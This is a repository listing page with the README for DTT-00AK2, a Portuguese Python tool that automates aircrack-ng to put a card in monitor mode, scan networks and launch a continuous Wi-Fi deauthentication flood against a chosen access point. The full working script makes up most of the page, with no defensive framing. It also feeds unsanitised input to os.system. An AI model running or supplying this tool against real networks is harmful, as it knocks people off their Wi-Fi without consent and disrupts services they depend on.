https://github.com/oanderoficial/dtt-00ak2
Explorando uma vulnerabilidade na camada de autenticação e/ou gerenciamento de conexões do protocolo Wi-Fi (padrões IEEE 802.11).
https://github.com/oanderoficial/dtt-00ak2
aircrack-ng aircrack-ng-suite deauthentication-attack deauthentication-script python wireless
Last synced: about 1 year ago
JSON representation
Explorando uma vulnerabilidade na camada de autenticação e/ou gerenciamento de conexões do protocolo Wi-Fi (padrões IEEE 802.11).
- Host: GitHub
- URL: https://github.com/oanderoficial/dtt-00ak2
- Owner: oanderoficial
- Created: 2023-06-05T21:17:21.000Z (almost 3 years ago)
- Default Branch: main
- Last Pushed: 2025-03-20T22:44:01.000Z (about 1 year ago)
- Last Synced: 2025-03-20T23:29:11.323Z (about 1 year ago)
- Topics: aircrack-ng, aircrack-ng-suite, deauthentication-attack, deauthentication-script, python, wireless
- Language: Python
- Homepage:
- Size: 21.5 KB
- Stars: 0
- Watchers: 1
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
README
# DTT-00AK2
Automatizei com python alguns processos do aircrack-ng. DTT-00AK2 tem como foco realizar ataques de desautenticação em um ponto de acesso sem fio. Explorando uma vulnerabilidade na camada de autenticação e/ou gerenciamento de conexões do protocolo Wi-Fi (padrões IEEE 802.11). Qualquer dispositivo ou roteador que utilize o protocolo está sujeito ao ataque.
```python
_..---..__
,' `-.
.'` . ) DTT-00AK2
| `;.__.._.' V.1.1
\ .`--.(##)(#). Wi-Fi deauthentication attack
`-->;--' pWq`> BY:AND3R
< <"v\,,,,]
`\`^-''''7
`~"--^-'
````
```python
import os
class WifiAttackTool:
#colors
RED = '\033[91m'
YELLOW = '\033[93m'
GREEN = '\033[92m'
RESET = '\033[0m'
def __init__(self):
pass
def start_monitor_mode(self):
os.system("airmon-ng")
interface = input("Digite aqui qual interface utilizar: ")
os.system(f"airmon-ng start {interface}")
def analyze_wifi_traffic(self):
interface = input(self.GREEN + "Digite a interface: " + self.RESET)
os.system(f'xterm -e airodump-ng "{interface}"')
os.system('clear')
def filter_results_by_bssid(self):
channel = input(self.GREEN + "Digite o canal: " + self.RESET)
bssid = input(self.GREEN + "Digite a BSSID: " + self.RESET)
interface = input(self.GREEN + "Digite a interface: " + self.RESET)
os.system('clear')
os.system(f'xterm -e airodump-ng -c {channel} --bssid {bssid} {interface}')
os.system('clear')
def perform_deauthentication_attack(self):
bssid = input(self.GREEN + "Digite a BSSID: " + self.RESET)
interface = input(self.GREEN + "Digite a interface: " + self.RESET)
os.system(f'xterm -e aireplay-ng --deauth 0 -a {bssid} {interface}')
def run(self):
while True:
print(self.RED + """
_..---..__
,' `-.
.'` . ) DTT-00AK2
| `;.__.._.' V.1.1
\ .`--.(##)(#). Wi-Fi deauthentication attack
`-->;--' pWq`> BY:AND3R
< <"v\,,,,]
`\`^-''''7
`~"--^-'
""" + self.RESET)
print(self.RED + "1- [airmon-ng] Colocar a interface em modo monitor" + self.RESET)
print(self.YELLOW + "2- [airodump-ng] Analisar o tráfego de redes sem fio" + self.RESET)
print(self.RED + "3- [airodump-ng] Filtrar os resultados pelo BSSID" + self.RESET)
print(self.YELLOW + "4- [aireplay-ng] Realizar ataque no ponto de acesso (AP)" + self.RESET)
print(self.RED + "5- Sair" + self.RESET)
menu = input(self.RED + "Digite uma opção >> " + self.RESET)
if menu == "1":
self.start_monitor_mode()
elif menu == "2":
self.analyze_wifi_traffic()
elif menu == "3":
self.filter_results_by_bssid()
elif menu == "4":
self.perform_deauthentication_attack()
elif menu == "5":
break
else:
print("Opção inválida")
if __name__ == "__main__":
tool = WifiAttackTool()
tool.run()
```